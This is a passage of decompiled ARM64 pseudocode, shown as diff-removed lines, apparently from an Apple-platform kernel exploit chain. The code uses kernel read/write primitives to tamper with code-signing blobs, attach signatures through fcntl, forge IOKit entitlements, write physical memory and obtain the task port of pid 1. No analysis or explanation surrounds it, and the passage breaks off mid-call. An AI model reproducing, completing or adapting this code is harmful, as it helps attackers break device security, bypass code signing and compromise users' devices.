v47; // w25 - __int64 v48; // x22 - _QWORD *v49; // x0 - _QWORD *v50; // x27 - __int64 v51; // x25 - int v52; // w12 - unsigned __int64 v53; // x8 - int v54; // w0 - _BOOL4 v55; // w9 - _BOOL4 v56; // w10 - unsigned int v57; // w1 - int v58; // w24 - unsigned int v59; // w11 - _BOOL4 v60; // w23 - unsigned int v61; // w0 - unsigned __int64 v62; // x10 - int v63; // w8 - int v64; // w8 - unsigned __int64 v65; // x0 - unsigned __int64 v66; // x21 - __int64 v67; // x21 - mach_vm_address_t v68; // x23 - char v69; // w23 - unsigned __int64 v70; // x24 - __int64 v71; // x8 - unsigned int *v72; // x0 - unsigned int v73; // w8 - __int64 v74; // x2 - unsigned __int64 v75; // x0 - unsigned __int64 v76; // x24 - __int64 v77; // x8 - int v78; // w0 - unsigned __int64 v79; // x0 - unsigned int v80; // w0 - int v81; // w1 - __int64 v82; // x9 - __int64 v83; // x24 - mach_port_t v84; // w0 - unsigned __int64 v85; // x0 - int v86; // w0 - unsigned __int64 v87; // x24 - __int64 v88; // x8 - unsigned int v89; // w9 - unsigned int v90; // w9 - int v91; // w0 - void *(__cdecl *v92)(void *); // x0 - int v93; // w0 - int v94; // w0 - int v95; // w24 - int v96; // w8 - int v97; // w24 - unsigned __int64 v98; // x8 - __int64 v99; // x9 - __int64 v100; // x1 - char v101; // w27 - int v102; // w24 - int v103; // w0 - unsigned __int64 v104; // x23 - thread_act_t v105; // w0 - mach_port_t v106; // w0 - int v107; // w0 - void *(__cdecl *v108)(void *); // x0 - int v109; // w0 - int v110; // w8 - unsigned int v111; // w24 - unsigned __int64 v112; // x0 - unsigned __int64 v113; // x23 - int v114; // w8 - int v115; // w8 - __int64 v116; // x8 - unsigned __int64 v117; // x0 - int v118; // w0 - int v119; // w8 - int v120; // w23 - char *v121; // x27 - int v122; // w21 - bool v123; // zf - __int64 v124; // x27 - int v125; // w0 - unsigned __int64 v126; // x0 - unsigned __int64 v127; // x21 - __int64 v128; // x8 - __int64 v129; // x9 - unsigned __int64 v130; // x21 - _BOOL4 v131; // w0 - int v132; // w8 - int v133; // w8 - int v134; // w0 - kern_return_t v135; // w0 - int v136; // w0 - int v137; // w0 - int v138; // w23 - int v139; // w21 - __int64 v140; // [xsp+10h] [xbp-4E0h] - thread_act_t target_act[2]; // [xsp+18h] [xbp-4D8h] - thread_act_t target_acta[2]; // [xsp+18h] [xbp-4D8h] - thread_act_t target_actb; // [xsp+18h] [xbp-4D8h] - unsigned __int64 v144; // [xsp+20h] [xbp-4D0h] - __int64 v145; // [xsp+20h] [xbp-4D0h] - unsigned __int64 v146; // [xsp+20h] [xbp-4D0h] - unsigned int v147; // [xsp+28h] [xbp-4C8h] - __int64 v148; // [xsp+28h] [xbp-4C8h] - int v149; // [xsp+28h] [xbp-4C8h] - unsigned int v150; // [xsp+30h] [xbp-4C0h] - _BOOL4 v151; // [xsp+30h] [xbp-4C0h] - int v152; // [xsp+34h] [xbp-4BCh] - unsigned int v153; // [xsp+34h] [xbp-4BCh] - char v154; // [xsp+34h] [xbp-4BCh] - char v155; // [xsp+34h] [xbp-4BCh] - unsigned int v156; // [xsp+34h] [xbp-4BCh] - __int64 v157; // [xsp+38h] [xbp-4B8h] - int v158; // [xsp+38h] [xbp-4B8h] - unsigned int v159; // [xsp+40h] [xbp-4B0h] - int v160; // [xsp+40h] [xbp-4B0h] - _BOOL4 v161; // [xsp+44h] [xbp-4ACh] - int v162; // [xsp+44h] [xbp-4ACh] - __int64 v163; // [xsp+48h] [xbp-4A8h] - unsigned int v164; // [xsp+48h] [xbp-4A8h] - __int64 v165; // [xsp+50h] [xbp-4A0h] - int v166; // [xsp+50h] [xbp-4A0h] - __int64 v167; // [xsp+50h] [xbp-4A0h] - __int64 v168; // [xsp+50h] [xbp-4A0h] - __int64 v169; // [xsp+58h] [xbp-498h] - unsigned __int64 v170; // [xsp+58h] [xbp-498h] - int v171; // [xsp+64h] [xbp-48Ch] BYREF - unsigned int v172; // [xsp+68h] [xbp-488h] BYREF - unsigned int v173; // [xsp+6Ch] [xbp-484h] BYREF - mach_port_name_t name[4]; // [xsp+70h] [xbp-480h] BYREF - __int128 v175; // [xsp+80h] [xbp-470h] - __int128 v176; // [xsp+90h] [xbp-460h] - __int128 v177; // [xsp+A0h] [xbp-450h] - __int128 v178; // [xsp+B0h] [xbp-440h] - __int64 __src[4]; // [xsp+C8h] [xbp-428h] BYREF - __int64 v180; // [xsp+E8h] [xbp-408h] - __int128 v181; // [xsp+F0h] [xbp-400h] BYREF - __int128 v182; // [xsp+100h] [xbp-3F0h] - __int128 v183; // [xsp+110h] [xbp-3E0h] - __int64 v184; // [xsp+120h] [xbp-3D0h] - unsigned __int8 v185; // [xsp+12Ah] [xbp-3C6h] BYREF - char v186; // [xsp+12Bh] [xbp-3C5h] BYREF - unsigned int v187; // [xsp+12Ch] [xbp-3C4h] BYREF - mach_vm_address_t v188; // [xsp+130h] [xbp-3C0h] BYREF - __int64 v189; // [xsp+138h] [xbp-3B8h] BYREF - __int64 v190; // [xsp+140h] [xbp-3B0h] BYREF - unsigned int v191; // [xsp+14Ch] [xbp-3A4h] BYREF - unsigned int v192; // [xsp+150h] [xbp-3A0h] BYREF - int v193; // [xsp+154h] [xbp-39Ch] BYREF - __int64 v194; // [xsp+158h] [xbp-398h] BYREF - int v195; // [xsp+160h] [xbp-390h] BYREF - __int64 v196; // [xsp+168h] [xbp-388h] - __int64 v197; // [xsp+178h] [xbp-378h] - unsigned int v198; // [xsp+190h] [xbp-360h] - int v199; // [xsp+1A0h] [xbp-350h] - unsigned int v200; // [xsp+1ACh] [xbp-344h] - int v201; // [xsp+1B0h] [xbp-340h] - __int64 v202; // [xsp+1C8h] [xbp-328h] BYREF - int v203; // [xsp+1D4h] [xbp-31Ch] BYREF - unsigned __int64 v204; // [xsp+1D8h] [xbp-318h] BYREF - void *v205; // [xsp+1E0h] [xbp-310h] BYREF - unsigned int v206; // [xsp+1ECh] [xbp-304h] BYREF - void *v207; // [xsp+1F0h] [xbp-300h] BYREF - __int64 v208; // [xsp+1F8h] [xbp-2F8h] BYREF - unsigned __int64 v209; // [xsp+200h] [xbp-2F0h] BYREF - pthread_t v210; // [xsp+208h] [xbp-2E8h] BYREF - unsigned int v211; // [xsp+214h] [xbp-2DCh] BYREF - _BYTE v212[48]; // [xsp+218h] [xbp-2D8h] BYREF - unsigned __int64 v213; // [xsp+248h] [xbp-2A8h] BYREF - void *v214; // [xsp+250h] [xbp-2A0h] - __int64 v215; // [xsp+258h] [xbp-298h] - __int128 v216; // [xsp+280h] [xbp-270h] BYREF - __int128 v217; // [xsp+290h] [xbp-260h] - __int128 v218; // [xsp+2A0h] [xbp-250h] - __int128 v219; // [xsp+2B0h] [xbp-240h] - __int128 v220; // [xsp+2C0h] [xbp-230h] - __int128 v221; // [xsp+2D0h] [xbp-220h] - __int128 v222; // [xsp+2E0h] [xbp-210h] - __int128 v223; // [xsp+2F0h] [xbp-200h] - __int128 v224; // [xsp+300h] [xbp-1F0h] - __int128 v225; // [xsp+310h] [xbp-1E0h] - __int128 v226; // [xsp+320h] [xbp-1D0h] - __int128 v227; // [xsp+330h] [xbp-1C0h] - __int128 v228; // [xsp+340h] [xbp-1B0h] - __int128 v229; // [xsp+350h] [xbp-1A0h] - __int128 v230; // [xsp+360h] [xbp-190h] - __int128 v231; // [xsp+370h] [xbp-180h] - __int128 v232; // [xsp+380h] [xbp-170h] - __int128 v233; // [xsp+390h] [xbp-160h] - __int128 v234; // [xsp+3A0h] [xbp-150h] - __int128 v235; // [xsp+3B0h] [xbp-140h] - __int128 v236; // [xsp+3C0h] [xbp-130h] - __int128 v237; // [xsp+3D0h] [xbp-120h] - __int128 v238; // [xsp+3E0h] [xbp-110h] - __int128 v239; // [xsp+3F0h] [xbp-100h] - __int128 v240; // [xsp+400h] [xbp-F0h] - __int128 v241; // [xsp+410h] [xbp-E0h] - __int128 v242; // [xsp+420h] [xbp-D0h] - __int128 v243; // [xsp+430h] [xbp-C0h] - __int128 v244; // [xsp+440h] [xbp-B0h] - __int128 v245; // [xsp+450h] [xbp-A0h] - __int128 v246; // [xsp+460h] [xbp-90h] - __int128 v247; // [xsp+470h] [xbp-80h] - - v2 = *(_QWORD *)a1; - v3 = *(int **)(a1 + 8); - v4 = *(_QWORD *)(*(_QWORD *)a1 + 0x158LL); - v5 = (**(_DWORD **)a1 & 0x5584001) != 0 || v4 > 0x1F52FFFFFFFFFFLL; - if ( !v5 ) - { - v204 = 0LL; - v205 = 0LL; - v203 = 0xFFFFFFFF; - v202 = 0x20000000LL; - v194 = 0LL; - v193 = 0; - v188 = 0LL; - v189 = 0LL; - v187 = 0; - has_flag = krw_ctx_has_flag((_DWORD *)v2, 0x5184001); - v12 = 0; - if ( (*(_DWORD *)v2 & 0x5584001) != 0 ) - goto LABEL_466; - v13 = has_flag; - if ( (unsigned int)sub_31914( - (__int64)v3, - &v205, - &v204, - (unsigned int *)&v194 + 1, - (unsigned int *)&v194, - (unsigned int *)&v193) ) - { - v198 = 0xFFFFFFFF; - v14 = sub_33E8C(v2, v3[0x11]); - if ( !v14 ) - { - v22 = 5; -LABEL_352: - v122 = v203; - if ( v203 != 0xFFFFFFFF ) - { - if ( v188 && v189 && !kwrite64(v2, v188, v189) ) - v22 = 5; - close(v122); - } - if ( v205 ) - free(v205); - v123 = v22 == 0; - goto LABEL_463; - } - v15 = v14; - if ( !(unsigned int)sub_2BBA4(v2, (int *)&v192, (int *)&v191) ) - goto LABEL_349; - v16 = v15 + v191; - if ( !(unsigned int)kreadbuf_last_1(v2, v16, 8LL, (__int64)&v190) ) - goto LABEL_349; - if ( v190 == 0x20000000 ) - { - v17 = 0; - v18 = v3; -LABEL_33: - v19 = v204; - if ( v204 > *((_QWORD *)v18 + 2) ) - { - LODWORD(v209) = v204; - v20 = sub_32538((_DWORD *)v2, (unsigned int *)&v209); - if ( !v20 ) - goto LABEL_349; - *((_QWORD *)v18 + 3) = v20; - v21 = v18 + 6; - *((_QWORD *)v18 + 2) = (unsigned int)v209; - if ( !(unsigned int)kwritebuf_last_1(v2, (__int64)v20, (__int64)v205, v19) - || !kwrite64(v2, *((_QWORD *)v18 + 1) + 0x40LL, *((_QWORD *)v18 + 3)) - || !kwrite64(v2, *((_QWORD *)v18 + 1) + 0x30LL, *((_QWORD *)v18 + 2)) ) - { - goto LABEL_349; - } -LABEL_63: - if ( kwrite64(v2, *((_QWORD *)v18 + 1) + 0x78LL, *((_QWORD *)v18 + 3) + HIDWORD(v194)) ) - { - v34 = (_DWORD)v194 ? *v21 + (unsigned int)v194 : 0LL; - if ( kwrite64(v2, *((_QWORD *)v18 + 1) + 0x88LL, v34) ) - { - if ( *(_QWORD *)(v2 + 0x158) <= 0x1F52FFFFFFFFFFuLL - || (!v193 ? (v38 = 0LL) : (v38 = *v21 + (unsigned int)v193), - kwrite64(v2, *((_QWORD *)v18 + 1) + 0x98LL, v38)) ) - { - if ( v190 == 0x20000000 - || (!v17 - || (*((_BYTE *)v3 + 3) & 4) != 0 - || (*(_QWORD *)name = 0LL, *(_QWORD *)&v181 = 0LL, v213 = 0LL, (v68 = *((_QWORD *)v3 + 4)) != 0) - && kread64((_DWORD *)v2, *((_QWORD *)v3 + 4), (__int64 *)name) - && *(_QWORD *)name - && (*(_QWORD *)name == *((_QWORD *)v3 + 1) - || kread64((_DWORD *)v2, *(unsigned __int64 *)name, (__int64 *)&v181) - && (_QWORD)v181 - && kread64((_DWORD *)v2, v181, (__int64 *)&v213) - && !v213 - && kwrite64(v2, v68, v181) - && kwrite64(v2, *(mach_vm_address_t *)name, 0LL) - && kwrite64(v2, v181, *(__int64 *)name))) - && (unsigned int)sub_2F898((_DWORD *)v2, v3[0x11], v190) - && (v190 = 0x20000000LL, (unsigned int)kwritebuf_last_1(v2, v16, (__int64)&v190, 8LL)) ) - { - v22 = 0; - goto LABEL_350; - } - } - } - } - goto LABEL_349; - } - v21 = v18 + 6; - if ( (unsigned int)kwritebuf_last_1(v2, *((_QWORD *)v18 + 3), (__int64)v205, v204) ) - goto LABEL_63; -LABEL_349: - v22 = 5; - goto LABEL_350; - } - if ( v13 ) - { - v23 = v204; - v165 = (__int64)v205; - v169 = v16; - v163 = HIDWORD(v194); - *(_QWORD *)&v181 = 0LL; - v213 = *((_QWORD *)v3 + 4); - v24 = v213; - v208 = 0LL; - v230 = 0u; - v231 = 0u; - v228 = 0u; - v229 = 0u; - v226 = 0u; - v227 = 0u; - v224 = 0u; - v225 = 0u; - v222 = 0u; - v223 = 0u; - v220 = 0u; - v221 = 0u; - v218 = 0u; - v219 = 0u; - v216 = 0u; - v217 = 0u; - v161 = krw_ctx_has_flag((_DWORD *)v2, 0x5184001); - if ( v24 ) - { - if ( kread64((_DWORD *)v2, v24, (__int64 *)&v213) ) - { - v25 = v213; - if ( v213 ) - { - while ( 1 ) - { - v26 = v25; - if ( !(unsigned int)kreadbuf_last_1(v2, v25 + 0x18, 8LL, (__int64)&v181) ) - break; - if ( (_QWORD)v181 == 0x20000000LL ) - { - if ( v213 ) - { - v17 = 0; - goto LABEL_110; - } -LABEL_121: - v159 = sub_320EC(v2); - if ( !v159 ) - goto LABEL_349; - v206 = v23; - v49 = sub_32538((_DWORD *)v2, &v206); - if ( !v49 ) - goto LABEL_349; - v50 = v49; - v157 = v206; - if ( !(unsigned int)kwritebuf_last_1(v2, (__int64)v49, v165, v23) ) - goto LABEL_349; - *(_QWORD *)name = 0LL; - if ( *(_QWORD *)(v2 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) - { - v211 = v159; - v167 = sub_37210(v2, &v211); - if ( !v167 ) - goto LABEL_349; - } - else - { - v51 = *(_QWORD *)(v2 + 0x19B8); - if ( !v51 ) - { - v117 = sub_403E0(v2, "cs_blob zone"); - if ( !v117 ) - goto LABEL_349; - v51 = v117; - if ( (unsigned int)sub_4062C(v2, v117) ) - goto LABEL_349; - *(_QWORD *)(v2 + 0x19B8) = v51; - } - if ( (unsigned int)sub_40CBC( - v2, - v51, - v159, - (__int64 *)name, - (__int64 (__fastcall *)(__int64, __int64))sub_321C0, - 0LL) ) - goto LABEL_349; - v167 = *(_QWORD *)name; - if ( !*(_QWORD *)name ) - goto LABEL_349; - } - if ( !(unsigned int)kreadbuf_last_1(v2, *((_QWORD *)v3 + 1), v159, (__int64)&v216) ) - goto LABEL_349; - v207 = 0LL; - __memcpy_chk(); - *(_QWORD *)&v181 = 0x20000000LL; - *((_QWORD *)&v217 + 1) = 0x20000000LL; - *(_QWORD *)&v220 = v50; - *(_QWORD *)&v219 = v157; - v210 = (pthread_t)((char *)v50 + v163); - __memcpy_chk(); - v98 = *(_QWORD *)(v2 + 0x158); - v99 = 0x90LL; - if ( v98 > 0x1C1B19145FFFFFLL ) - v99 = 0x98LL; - if ( v98 > 0x1F52FFFFFFFFFFLL ) - v99 = 0xA8LL; - v100 = *(_QWORD *)((char *)&v216 + v99); - __src[0] = v100; - if ( v100 ) - { - if ( v98 <= 0x1F52FFFFFFFFFFLL ) - { - __src[0] = 0LL; - memcpy((char *)&v216 + v99, __src, *(int *)(v2 + 0x168)); - } - else if ( (unsigned int)sub_38FD4(v2, v100) ) - { - goto LABEL_349; - } - } - v209 = *((_QWORD *)&v224 + 1); - if ( *((_QWORD *)&v224 + 1) ) - { - v209 = (unsigned __int64)v50 + *((_QWORD *)&v224 + 1) - *((_QWORD *)v3 + 3); - __memcpy_chk(); - } - if ( *(_QWORD *)(v2 + 0x158) > 0x1F52FFFFFFFFFFuLL ) - { - v208 = *((_QWORD *)&v225 + 1); - if ( *((_QWORD *)&v225 + 1) ) - { - v208 = (__int64)v50 + *((_QWORD *)&v225 + 1) - *((_QWORD *)v3 + 3); - __memcpy_chk(); - } - } - if ( v161 ) - { - *(_QWORD *)name = 0LL; - v121 = (char *)&v216 + v159 - *(_DWORD *)(v2 + 0x168); - __memcpy_chk(); - if ( *(_QWORD *)name && !validate_addr(v2, *(__int64 *)name) ) - goto LABEL_349; - *(_QWORD *)name = 0LL; - memcpy(v121, name, *(int *)(v2 + 0x168)); - } - if ( !(unsigned int)kwritebuf_last_1(v2, v167, (__int64)&v216, v159) || !kwrite64(v2, v26, v167) ) - goto LABEL_349; - goto LABEL_348; - } - if ( !kread64((_DWORD *)v2, v213, (__int64 *)&v213) ) - goto LABEL_349; - v25 = v213; - if ( !v213 ) - goto LABEL_121; - } - } - } - } - goto LABEL_349; - } - if ( !kread64((_DWORD *)v2, v15 + v192, __src) || !(unsigned int)sub_31B90(v2, __src[0], &v188, &v189, &v203) ) - goto LABEL_349; - v216 = 0x20000000uLL; - *(_QWORD *)&v217 = 0x40000000LL; - v35 = v203; - if ( (fcntl(v203, 0x3B, &v216) & 0x80000000) == 0 ) - { - v17 = 0; -LABEL_111: - if ( !(unsigned int)sub_2E5C0(v2, v3[0x11], &v202, 1u, (__int64)&v195) ) - goto LABEL_349; - v18 = &v195; - if ( !v13 && v17 ) - { - if ( (*((_BYTE *)v3 + 3) & 4) == 0 ) - { - v48 = *(_QWORD *)(v2 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x80LL : 0x88LL; - if ( !kread64((_DWORD *)v2, v48 + *((_QWORD *)v3 + 1), (__int64 *)&v210) - || !kwrite64(v2, v196 + v48, (__int64)v210) ) - { - goto LABEL_349; - } - } - v18 = &v195; - v17 = 1; - } - goto LABEL_33; - } - if ( *__error() != 7 ) - goto LABEL_349; - v46 = *(_QWORD *)(v2 + 0x158); - if ( v46 <= 0x1F530F027FFFFFLL ) - { - if ( v46 <= 0x1F52FFFFFFFFFFLL ) - { - v47 = 0xA8; - if ( v46 <= 0x1C1B19145FFFFFLL ) - { - if ( *(int *)(v2 + 0x140) <= 0x1C1A ) - v47 = 0xA8; - else - v47 = 0xA0; - } - } - else - { - v47 = 0xB8; - } - } - else - { - v47 = 0xAC; - } - if ( !(unsigned int)kreadbuf_last_1(v2, *((_QWORD *)v3 + 1) + v47, 1LL, (__int64)&v187) ) - goto LABEL_349; - v169 = v16; - v101 = v187; - if ( !(unsigned int)sub_31FC0((__int64)v3, v212) ) - goto LABEL_349; - if ( !sub_22464(v2, (__int64)v212, 0x14) ) - goto LABEL_349; - if ( (v101 & 1) == 0 ) - { - name[0] = v187 | 1; - if ( !(unsigned int)sub_32064((_DWORD *)v2, *((_QWORD *)v3 + 4), v47, (__int64)name, 1LL) ) - goto LABEL_349; - } - *(_QWORD *)&v216 = 0x20000000LL; - *((_QWORD *)&v216 + 1) = v205; - *(_QWORD *)&v217 = v204; - v102 = fcntl(v35, 0x3B, &v216); - if ( v102 < 0 ) - { - __error(); - if ( (v101 & 1) != 0 ) - goto LABEL_349; - } - else if ( (v101 & 1) != 0 ) - { -LABEL_348: - v17 = 1; -LABEL_110: - v16 = v169; - goto LABEL_111; - } - v17 = 1; - v118 = sub_32064((_DWORD *)v2, *((_QWORD *)v3 + 4), v47, (__int64)&v187, 1LL); - v22 = 5; - if ( !v118 || (v16 = v169, v102 < 0) ) - { -LABEL_350: - if ( v198 != 0xFFFFFFFF ) - sub_2CB54((__int64)&v195); - goto LABEL_352; - } - goto LABEL_111; - } -LABEL_39: - v12 = 0; - goto LABEL_466; - } - v207 = 0LL; - v205 = 0LL; - v193 = 0xFFFFFFFF; - v192 = 0; - v191 = 0; - v187 = 0; - v188 = 0LL; - v189 = 0LL; - v171 = 0; - if ( !(unsigned int)sub_31914((__int64)v3, &v207, (size_t *)&v205, &v192, &v191, &v187) ) - goto LABEL_39; - v198 = 0xFFFFFFFF; - if ( !*((_BYTE *)v3 + 0x60) - && *((_QWORD *)v3 + 5) >> 0x1D - && (v3[0x13] != v192 - || v3[0x15] != v191 && !v187 - || v3[0x16] != v187 && *(_QWORD *)(v2 + 0x158) > 0x1F52FFFFFFFFFFuLL) ) - { - goto LABEL_451; - } - v6 = sub_33E8C(v2, v3[0x11]); - if ( !v6 ) - goto LABEL_451; - v7 = v6; - if ( !(unsigned int)sub_2BBA4(v2, (int *)&v173, (int *)&v172) ) - goto LABEL_451; - v8 = v7 + v172; - if ( !(unsigned int)kreadbuf_last_1(v2, v8, 8LL, (__int64)&v202) ) - goto LABEL_451; - v9 = v202; - if ( v202 >= 0x20000000 && !*((_BYTE *)v3 + 0x60) ) - { - v27 = 0; - goto LABEL_51; - } - if ( !kread64((_DWORD *)v2, v7 + v173, &v190) || !(unsigned int)sub_31B90(v2, v190, &v188, &v189, &v193) ) - goto LABEL_451; - if ( *((_BYTE *)v3 + 0x60) ) - { - if ( v202 > 0x7FFFFFFFFFLL ) - goto LABEL_451; - if ( v202 >= 0x20000000 ) - v10 = v202 + 0x20000000; - else - v10 = 0x20000000LL; - } - else - { - v10 = 0x20000000LL; - } - v170 = v10; - v213 = v10; - v214 = 0LL; - v215 = 0x40000000LL; - v31 = v193; - v32 = fcntl(v193, 0x3B, &v213); - if ( (v32 & 0x80000000) == 0 ) - { - if ( *((_BYTE *)v3 + 0x60) ) - goto LABEL_451; - v166 = v32; - v33 = 0; - goto LABEL_59; - } - v166 = v32; - if ( *__error() != 7 ) - goto LABEL_451; - v36 = *(_QWORD *)(v2 + 0x158); - if ( v36 <= 0x1F530F027FFFFFLL ) - { - if ( v36 <= 0x1F52FFFFFFFFFFLL ) - { - v37 = 0xA8; - if ( v36 <= 0x1C1B19145FFFFFLL ) - { - if ( *(int *)(v2 + 0x140) <= 0x1C1A ) - v37 = 0xA8; - else - v37 = 0xA0; - } - } - else - { - v37 = 0xB8; - } - } - else - { - v37 = 0xAC; - } - v164 = v37; - if ( !(unsigned int)kreadbuf_last_1(v2, *((_QWORD *)v3 + 1) + v37, 1LL, (__int64)&v171) ) - goto LABEL_451; - v52 = v171 & 1; - if ( v4 <= 0x1F52FFFFFFFFFFLL ) - goto LABEL_142; - v152 = v171 & 1; - if ( !(unsigned int)sub_31FC0((__int64)v3, v212) || !sub_22464(v2, (__int64)v212, 0x14) ) - goto LABEL_451; - v52 = v152; - if ( v152 ) - { -LABEL_142: - v158 = 0; -LABEL_143: - v53 = *(_QWORD *)(v2 + 0x158); - goto LABEL_144; - } - if ( (*(_DWORD *)v2 & 0x5584001) == 0 || (v53 = *(_QWORD *)(v2 + 0x158), v53 > 0x1F530F027FFFFFLL) ) - { - LODWORD(v216) = v171 | 1; - v158 = 1; - v54 = sub_32064((_DWORD *)v2, *((_QWORD *)v3 + 4), v164, (__int64)&v216, 1LL); - v52 = 0; - if ( !v54 ) - goto LABEL_451; - goto LABEL_143; - } - v158 = 0; - v52 = 0; -LABEL_144: - if ( v53 <= 0x1F52FFFFFFFFFFLL ) - { - v55 = 0; - LOBYTE(v160) = 0; - } - else - { - v160 = *((unsigned __int8 *)v3 + 0x61); - v55 = v160 != 0; - } - v213 = v170; - v214 = v207; - v215 = (__int64)v205; - if ( v4 > 0x1F52FFFFFFFFFFLL ) - { - v56 = 0; - LODWORD(v208) = v31; - v57 = v3[0x11]; - v184 = 0LL; - v183 = 0u; - v182 = 0u; - v181 = 0u; - LOWORD(v204) = 0; - v209 = 0LL; - v210 = 0LL; - v177 = 0u; - v178 = 0u; - v175 = 0u; - v176 = 0u; - *(_OWORD *)name = 0u; - if ( v55 ) - v56 = (*(_DWORD *)v2 & 0x5584001) != 0 && v53 < 0x1F530F02800000LL; - if ( v52 ) - { - v52 = 0; - v59 = 0; - v58 = 0x1001; - } - else - { - v58 = 0x1001; - if ( (*(_DWORD *)v2 & 0x5584001) != 0 ) - { - v59 = 0; - if ( v53 < 0x1F530F02800000LL ) - { - v147 = v57; - v60 = v56; - v61 = sub_320EC(v2); - if ( !v61 ) - { - v115 = 0x28011; - goto LABEL_441; - } - v153 = v61; - if ( *(_QWORD *)(v2 + 0x19B8) ) - { - v58 = 0x1001; - } - else - { - v146 = sub_403E0(v2, "cs_blob zone"); - if ( !v146 ) - { - v115 = 0x1001; - goto LABEL_441; - } - v162 = sub_4062C(v2, v146); - if ( v162 ) - goto LABEL_442; - v58 = 0; - *(_QWORD *)(v2 + 0x19B8) = v146; - } - v52 = 1; - v56 = v60; - v59 = v153; - v57 = v147; - } - } - else - { - v59 = 0; - } - } - v151 = v56; - v156 = v59; - v149 = v52; - if ( v56 ) - { - if ( !*(_QWORD *)(v2 + 0x19B0) || !*(_DWORD *)(v2 + 0x19C0) ) - { - v111 = v57; - v112 = sub_403E0(v2, "iokit.OSEntitlements"); - if ( !v112 ) - { - v115 = 0xAD011; - goto LABEL_441; - } - v113 = v112; - v162 = sub_4062C(v2, v112); - if ( v162 ) - goto LABEL_442; - if ( !(unsigned int)kreadbuf_last_1(v2, v113 + 0x36, 2LL, (__int64)&v216) ) - { - v115 = 0x2800F; - goto LABEL_441; - } - v114 = (unsigned __int16)v216; - v162 = 0x28011; - if ( (unsigned int)(unsigned __int16)v216 - 1 > 0x1FF - || ((*(_DWORD *)(v2 + 0x168) - 1) & (unsigned __int16)v216) != 0 ) - { - goto LABEL_442; - } - *(_QWORD *)(v2 + 0x19B0) = v113; - *(_DWORD *)(v2 + 0x19C0) = v114; - v57 = v111; - } - if ( !(unsigned int)sub_34D14(v2, v57) ) - { - v162 = 0x28019; - goto LABEL_442; - } - v162 = 0x28026; - v145 = *(_QWORD *)(v2 + 0x3A0); - v104 = *(_QWORD *)(v2 + 0x390); - if ( !validate_addr(v2, v104) ) - goto LABEL_442; - v162 = sub_38F38(v2, v104, (__int64)&v204); - if ( v162 ) - goto LABEL_442; - LOWORD(v204) = sub_38FAC((unsigned __int16)v204); - } - else - { - v145 = 0LL; - v104 = 0LL; - if ( !v52 ) - { -LABEL_433: - v136 = fcntl(v208, 0x3B, &v213); - BYTE1(name[0]) = 1; - if ( v136 < 0 ) - { - v138 = *__error(); - v110 = *__error(); - if ( v138 < 0 ) - v110 = -v110; - goto LABEL_440; - } - if ( !v151 - || v58 != 0 - || (v162 = 0x28010, !(unsigned int)sub_38F6C(v2, v104, v204)) - && (sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), v145), v137) ) - { - v162 = 0; - } -LABEL_442: - if ( v210 ) - { - pthread_join(v210, 0LL); - v210 = 0LL; - } - v33 = v160; - if ( !(_QWORD)v181 ) - goto LABEL_446; -LABEL_445: - sub_38BCC(v2, (__int64)&v181); - goto LABEL_446; - } - } - v105 = mach_thread_self(); - if ( !sub_2515C(v105) ) - goto LABEL_430; - v106 = mach_thread_self(); - v162 = sub_37A50((int *)v2, v106, 1, 1, 1); - if ( v162 ) - goto LABEL_442; - thread_switch(0, 2, 0xAu); - target_actb = 0; - if ( !v149 ) - { -LABEL_423: - if ( !v151 ) - { -LABEL_426: - if ( v149 ) - { - v162 = sub_4087C( - v2, - *(_QWORD *)(v2 + 0x19B8), - v156, - v209, - (__int64 (__fastcall *)(__int64, __int64))sub_321C0, - 0LL); - if ( v162 ) - goto LABEL_442; - v135 = thread_resume(target_actb); - if ( v135 ) - { - v115 = v135 | 0x80000000; - goto LABEL_441; - } - while ( !LOBYTE(name[0]) ) - ; - } - v58 = 0; - goto LABEL_433; - } - sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), 0LL); - if ( v134 ) - { - v162 = sub_4087C( - v2, - *(_QWORD *)(v2 + 0x19B0), - *(unsigned int *)(v2 + 0x19C0), - v104, - (__int64 (__fastcall *)(__int64, __int64))sub_322D8, - (__int64)&v208); - if ( v162 ) - goto LABEL_442; - goto LABEL_426; - } -LABEL_467: - v115 = 0x28010; - goto LABEL_441; - } - v162 = sub_40CBC( - v2, - *(_QWORD *)(v2 + 0x19B8), - v156, - (__int64 *)&v209, - (__int64 (__fastcall *)(__int64, __int64))sub_321C0, - 0LL); - if ( v162 ) - goto LABEL_442; - v246 = 0u; - v247 = 0u; - v244 = 0u; - v245 = 0u; - v242 = 0u; - v243 = 0u; - v240 = 0u; - v241 = 0u; - v238 = 0u; - v239 = 0u; - v236 = 0u; - v237 = 0u; - v234 = 0u; - v235 = 0u; - v232 = 0u; - v233 = 0u; - v230 = 0u; - v231 = 0u; - v228 = 0u; - v229 = 0u; - v226 = 0u; - v227 = 0u; - v224 = 0u; - v225 = 0u; - v222 = 0u; - v223 = 0u; - v220 = 0u; - v221 = 0u; - v218 = 0u; - v219 = 0u; - v216 = 0u; - v217 = 0u; - if ( !(unsigned int)kwritebuf_last_1(v2, v209, (__int64)&v216, v156) ) - goto LABEL_467; - sub_2183C(v2, (v209 + 0x10) & ~*(_QWORD *)(v2 + 0x188), (__int64)__src); - if ( v107 ) - { - v162 = physwrite_maybe(v2, v180 & 0xFFFFFFFFC000LL, (__int64)&v181); - if ( v162 ) - goto LABEL_442; - LOWORD(name[0]) = 0; - *((_QWORD *)&v175 + 1) = v181 + ((v209 + 0x10) & *(_QWORD *)(v2 + 0x188)); - v108 = (void *(__cdecl *)(void *))nullsub_1(sub_322A4); - v109 = pthread_create_suspended_np(&v210, 0LL, v108, name); - if ( v109 ) - { - if ( v109 >= 0 ) - v110 = v109; - else - v110 = -v109; -LABEL_440: - v115 = v110 | 0x40000000; - goto LABEL_441; - } - target_actb = pthread_mach_thread_np(v210); - if ( sub_2515C(target_actb) ) - { - v162 = sub_37A50((int *)v2, target_actb, 0, 1, 0x60); - if ( v162 ) - goto LABEL_442; - goto LABEL_423; - } -LABEL_430: - v115 = 0x28038; - goto LABEL_441; - } - v115 = 0x28026; -LABEL_441: - v162 = v115; - goto LABEL_442; - } - v62 = *(_QWORD *)(v2 + 0x238); - v33 = v160; - if ( !v62 ) - { - v154 = v52; - name[0] = 0; - if ( !krw_task_for_pid(v2, 1, name) ) - { - v64 = 0x28003; - goto LABEL_254; - } - *(_QWORD *)&v216 = 0LL; - if ( (unsigned int)sub_2E4E0((_DWORD *)v2, name[0], (unsigned 